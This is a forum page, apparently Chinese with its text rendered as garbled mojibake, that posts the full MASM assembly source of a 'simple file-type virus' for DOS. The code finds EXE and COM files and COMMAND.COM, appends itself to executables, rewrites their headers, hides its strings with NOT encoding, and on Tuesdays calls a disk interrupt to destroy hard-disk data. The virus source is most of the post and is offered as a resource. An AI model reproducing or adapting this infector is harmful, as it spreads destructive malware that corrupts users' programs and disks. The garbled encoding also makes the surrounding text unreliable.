Znn3bq.jpeg
²é¿´: 175  |  »Ø¸´: 2
µ±Ç°Ö÷ÌâÒѾ­´æµµ¡£

º½¿Õĸ½¢

½ð³æ (ÕýʽдÊÖ)

[½»Á÷] [×ÊÔ´]Ò»¸ö¼òµ¥µÄÎļþÐͲ¡¶¾³ÌÐò

Ò»¸ö¼òµ¥µÄÎļþÐͲ¡¶¾³ÌÐò




; ************************************************
; ¼òµ¥²¡¶¾³ÌÐò
;
; ×÷Õß : µ¾ÏãÀÏÅ© http://www.5xSoft.com
; ÀàÐÍ : ÎļþÐÍ
; ·¢×÷ʱ¼ä: ÐÇÆÚ¶þ
; ·¢×÷ÏÖÏó: Ó²ÅÌÊý¾Ý±»»µ
; ¸ÐȾ¶ÔÏó: DOS µÄ EXE COM Îļþ
; ±àÒ빤¾ß: MASM 6.0 , MASM 6.11
;
; ************************************************

CODE SEGMENT
assume cs:code
.386
org 100h
start:
mov csldsp,sp ; ±£´æÔ­³ÌÐòµÄ¶ÑÕ»Ö¸Õë
mov csldss,ss ;
mov sp,stack_end
mov ax,cs ; ÉèÖÃеĶÑÕ»Ö¸Õë
mov ss,ax ;

push ds ;±£´æÔ­ ds es
push es ;
mov ds,ax
mov es,ax
sub ax,oldseg ; Ëã³öÔ­³ÌÐòµÄÈë¿Ú
push ax ; ²¢±£´æÈëÕ»
push oldip ;
call setfile ;³ÌÐòµÄºËÐIJ¿·Ö
pop csldip ; È¡»ØÔ­³ÌÐòµÄÈë¿Ú
pop csldseg ;
pop es ; »Ö¸´Ô­ es ds
pop ds ;
mov sp,csldss ; »Ö¸´Ô­ ss,sp
mov ss,sp ;
mov sp,csldsp ;
push oldseg ;Ìø»ØÔ­³ÌÐòÈë¿Úµã
push oldip ;
retf ;
db 09ah

getdate proc near ;Õâ¸öº¯ÊýÊÇÈ¡µÃʱ¼äÊÇ·ñÊÇÐÇÆÚ¶þÊÇÔòÆÆ»µÓ²ÅÌÊý¾Ý

mov ax,0ec32h ; дҪִÐеĴúÂë int 13h
not ax ; µ½ @dest1 λÖÃ
mov si,@des1 ; ÕâÀï¼È¼ÓÃÜ´úÂë
mov word ptr [si],ax ;
mov ah,2ah
int 21h
cmp al,2
jnz @gd_con
mov ax,312h
mov cx,1
mov dx,80h
@des1:
db 0ebh
db 32
ret
@gd_con:
ret

getdate endp


setfile1 proc near
call findfirst
@sf_con:
jc @sf_back
call modify
call findnext
jmp @sf_con
@sf_back:
ret
setfile1 endp
setdata proc near
push si
push di
push cx
push ax
pushf
mov si,offset normal1
mov di,si
mov cx,23h
@aaa2:
lodsb
not ax
stosb
loop @aaa2
popf
pop ax
pop cx
pop di
pop si
ret
setdata endp

setfile proc near
cmp ax,127h ; ûÓÐ×÷ÓÃÖ»ÊǸÉÄÓ
jnz @aaa1 ; ax ²»¿ÉÄܵÈÓÚ 127h
call dword ptr oldsp ;
ret ;
db 0e8h ;
@aaa: call getdate
ret

@aaa1:
mov ah,01ah ;ÉèÖôÅÅÌ´«Ê䵨ַ
mov dx,offset dta ;ÓÃÓÚ findfirst
int 21h ;
call setdata ;Êý¾Ý½âÃÜ
push @aaa
mov dx,offset normal1 ; ÕÒ *.exe
mov ax,offset dta
add ax,01eh
mov fs,ax ; fs ÓÃÓÚ´«µÝÎļþÃûµÄµØÖ·
call setfile1 ; ´«È¾Îļþ
mov dx,offset normal2 ; ÕÒ *.com
call setfile1
mov dx,offset bootcmd ; ÕÒ c:\windows\command.com
mov fs,dx
call setfile1
mov dx,offset bootcmd1 ; ÕÒ c:\command.com
mov si,dx ;
mov word ptr [si],':C' ;
mov fs,dx ;
call setfile1 ;
ret
setfile endp
db 09ah
findfirst proc near
mov ax,04e27h
int 21h
ret
findfirst endp

findnext proc near
mov ah,04fh
int 21h
ret
findnext endp

modify proc near ;Ð޸IJ¢¸ÐȾ³ÌÐò
mov si,offset sbuffer ;¿ÉÖ´ÐеÄÎļþÍ·µÄµØÖ·
mov di,offset dta ;ÎļþÐÅÏ¢µÄµØÖ·

cmp dword ptr [di+01ah],1000 ; ÈôÎļþСÓÚ 1K »ò ´óÓÚ 1M ²»¸ÐȾ
jb @fn_ret ;
cmp dword ptr [di+01ah],0ffcffh ;
jae @fn_ret ;

mov dx,fs
mov ax,4300h ;±£´æÔ­ÎļþÊôÐÔ
int 21h ;ÔÙ¸ÄΪûÓÐÊôÐÔ
push cx ;
mov ax,4301h
xor cx,cx
int 21h

mov ax,03d02h ; ´ò¿ªÎļþ
int 21h ;
jc @fn_ret3 ;

mov bx,ax ; ¶ÁÎļþÍ·
mov ah,03fh ;
mov cx,1ch ;
mov dx,offset sbuffer ;
int 21h ;

cmp word ptr [si],'ZM' ; Èç²»ÊÇ¿ÉÖ´ÐÐÎļþ¾Í²»¸ÐȾ
jnz @fn_ret1 ;

mov ax,word ptr [si+014h] ; ±£´æÔ­³ÌÐòÈë¿Ú
mov oldip,ax ;
mov ax,word ptr [si+016h] ;
mov oldseg,ax


mov ax,4200h ; ¼ì²éÊÇ·ñÒѾ­±»ÎÒ¸ÐȾ¹ý
mov cx,word ptr [di+1ch] ;
mov dx,word ptr [di+1ah] ;
sub dx,2 ;
int 21h ;
mov ah,3fh ;
mov cx,2 ;
mov dx,offset temp ;
int 21h
cmp word ptr temp,0dcd6h ; ÈôÒѾ­±»¸ÐȾ¾Í·µ»Ø
jz @fn_ret1 ;



mov eax,dword ptr [di+01ah] ; µÃµ½ÎļþµÄ×ܳ¤
mov cx,0fh
and cx,ax ; Ëã³ö¸ÐȾºóµÄÈë¿Úµã
mov fill,010h ;
sub fill,cx ;
movzx ecx,fill ;
add eax,ecx ;
sub eax,100h
shr eax,4
mov cx,word ptr [si+8]
sub ax,cx
mov word ptr [si+14h],100h
mov word ptr [si+16h],ax
sub ax,oldseg
mov oldseg,ax

mov ax,4202h ;°Ñ±¾²¡¶¾Ð´ÖÁÎļþβ
xor cx,cx ;
xor dx,dx ;
int 21h
call setdata
mov ah,40h
mov cx,offset theend
mov dx,offset start
sub dx,fill
sub cx,dx
int 21h
call setdata
jc @fn_ret1

mov ax,4202h ; Ëã³ö¼ÓÔØ³ÌÐòµÄ³¤¶È
xor cx,cx ;
xor dx,dx ;
int 21h
mov cx,200h
div cx
inc ax
mov word ptr [si+2],dx
mov word ptr [si+4],ax

mov ax,4200h ;¸ÄдÎļþÍ·
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
mov dx,si
mov cx,1ch
int 21h

@fn_ret1:
mov ah,03eh ;¹Ø±ÕÎļþ
int 21h ;
@fn_ret3:
pop cx ;»Ö¸´Ô­ÎļþÊôÐÔ
mov ax,4301h ;
mov dx,gs
int 21h
@fn_ret:
ret
modify endp

oldip word 0
oldseg word 0

;======== Óà not »»Ëã¹ýµÄÊý¾Ý ========
normal1 db 0d5h,0d1h,09ah,087h,09ah,0ffh ; '*.EXE'
normal2 db 0d5h,0d1h,09ch,090h,092h,0ffh ; '*.COM'
bootcmd db 0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h ; 'C:\WINDO'
bootcmd1 db 0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh ; 'WS\COMMAND.COM'
db 0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffh
fl word 0dcd6h
theend:
oldsp word 0
oldss word 0
temp word 0
temp1 word 0
dta db 02bh dup(0)
fill word 0
sbuffer db 1dh dup(0)
stack_start db 40h dup(0)
stack_end:
code ends
end start

[ Last edited by »ÃÓ°ÎÞºÛ on 2006-10-5 at 13:50 ]
»Ø¸´´ËÂ¥

» ²ÂÄãϲ»¶

ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû

1

2Â¥2005-08-22 01:03:08
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû

1

3Â¥2005-08-22 20:24:43
ÒÑÔÄ   »Ø¸´´ËÂ¥   ¹Ø×¢TA ¸øTA·¢ÏûÏ¢ ËÍTAºì»¨ TAµÄ»ØÌû
Ïà¹Ø°æ¿éÌø×ª ÎÒÒª¶©ÔÄÂ¥Ö÷ º½¿Õĸ½¢ µÄÖ÷Ìâ¸üÐÂ
×î¾ßÈËÆøÈÈÌûÍÆ¼ö [²é¿´È«²¿] ×÷Õß »Ø/¿´ ×îºó·¢±í
[¿¼ÑÐ] 291 Çóµ÷¼Á +40 »¯¹¤2026½ì±ÏÒµÉ 2026-04-09 41/2050 2026-04-15 21:54 by noqvsozv
[¿¼ÑÐ] ²ÄÁϹ¤³Ì281»¹Óе÷¼Á»ú»áÂð +43 xaw. 2026-04-11 44/2200 2026-04-15 12:46 by Î÷±±Íû¡ª·çɳ
[¿¼ÑÐ] 279ѧ˶ʳƷרҵÇóµ÷¼ÁԺУ 20+6 ¹Â¶ÀµÄÀǰ®³ÔÑò 2026-04-12 28/1400 2026-04-14 15:44 by zs92450
[¿¼ÑÐ] 279Çóµ÷¼Á +12 ÕÅ·¬ÇѲ»³´µ° 2026-04-11 12/600 2026-04-14 15:38 by zs92450
[¿¼ÑÐ] 300·ÖÇóµ÷¼Á £¨085501»úеר˶£¬±¾¿ÆÑï´ó£© +9 xu@841019 2026-04-11 10/500 2026-04-14 08:48 by ľľmumu¡«
[¿¼ÑÐ] Çóµ÷¼Á£¬985²ÄÁÏÓ뻯¹¤348·Ö +9 º­ÖñÁõ 2026-04-11 14/700 2026-04-13 22:26 by º­ÖñÁõ
[¿¼ÑÐ] 0831Ò»ÂÖµ÷¼Áʧ°ÜÇóÖú +10 СÐÜî£î£_s 2026-04-11 10/500 2026-04-12 22:43 by ³¤¹­°Á
[¿¼ÑÐ] Ò»Ö¾Ô¸Õã´óÉúÎï325·ÖÇóµ÷¼Á +9 zysheng 2026-04-12 9/450 2026-04-12 22:31 by yuyin1233
[¿¼ÑÐ] Ò»Ö¾Ô¸Î÷±±¹¤Òµ´óѧ289 085602 +33 yangæÃ 2026-04-10 34/1700 2026-04-12 08:11 by Art1977
[¿¼ÑÐ] 267Çóµ÷¼Á +8 ÔÙæҲҪ³Ô·¹°¡ 2026-04-09 8/400 2026-04-11 21:42 by cfdbai
[¿¼ÑÐ] 343Çóµ÷¼Á +9 Íõ¹ú˧ 2026-04-10 9/450 2026-04-11 20:31 by dongdian1
[¿¼ÑÐ] Çóµ÷¼Á +6 archer.. 2026-04-09 8/400 2026-04-11 10:55 by zhq0425
[¿¼ÑÐ] 085410-273Çóµ÷¼Á +6 X1999 2026-04-10 6/300 2026-04-11 10:32 by Delta2012
[¿¼ÑÐ] ¹¤¿Æ273µ÷¼Á +6 X1999 2026-04-09 7/350 2026-04-11 10:23 by zhq0425
[¿¼ÑÐ] 311Çóµ÷¼Á +13 xypÏë¶ÁÊé 2026-04-10 14/700 2026-04-11 09:41 by Öí»á·É
[¿¼ÑÐ] ÖÐҩѧµ÷¼Á ³õÊÔ324 +4 Ñó¸Ê¾Õ¡¢ 2026-04-10 6/300 2026-04-11 09:41 by gong120082
[¿¼ÑÐ] 368Çóµ÷¼Á +3 17385968172 2026-04-10 3/150 2026-04-10 20:12 by µç×Ӱµ±ë
[¿¼ÑÐ] 298Çóµ÷¼Á +13 ¶¤¶£ß˶¬¹Ï 2026-04-09 13/650 2026-04-10 15:49 by jiajinhpu
[¿¼ÑÐ] 292Çóµ÷¼Á +9 ЦЦԬ 2026-04-09 9/450 2026-04-10 10:05 by LHGeng
[¿¼ÑÐ] Ò»Ö¾Ô¸ÖпÆÔº105500רҵ×Ü·Ö315Çóµ÷¼Á +6 lallalh 2026-04-09 7/350 2026-04-09 17:51 by lallalh
ÐÅÏ¢Ìáʾ
ÇëÌî´¦ÀíÒâ¼û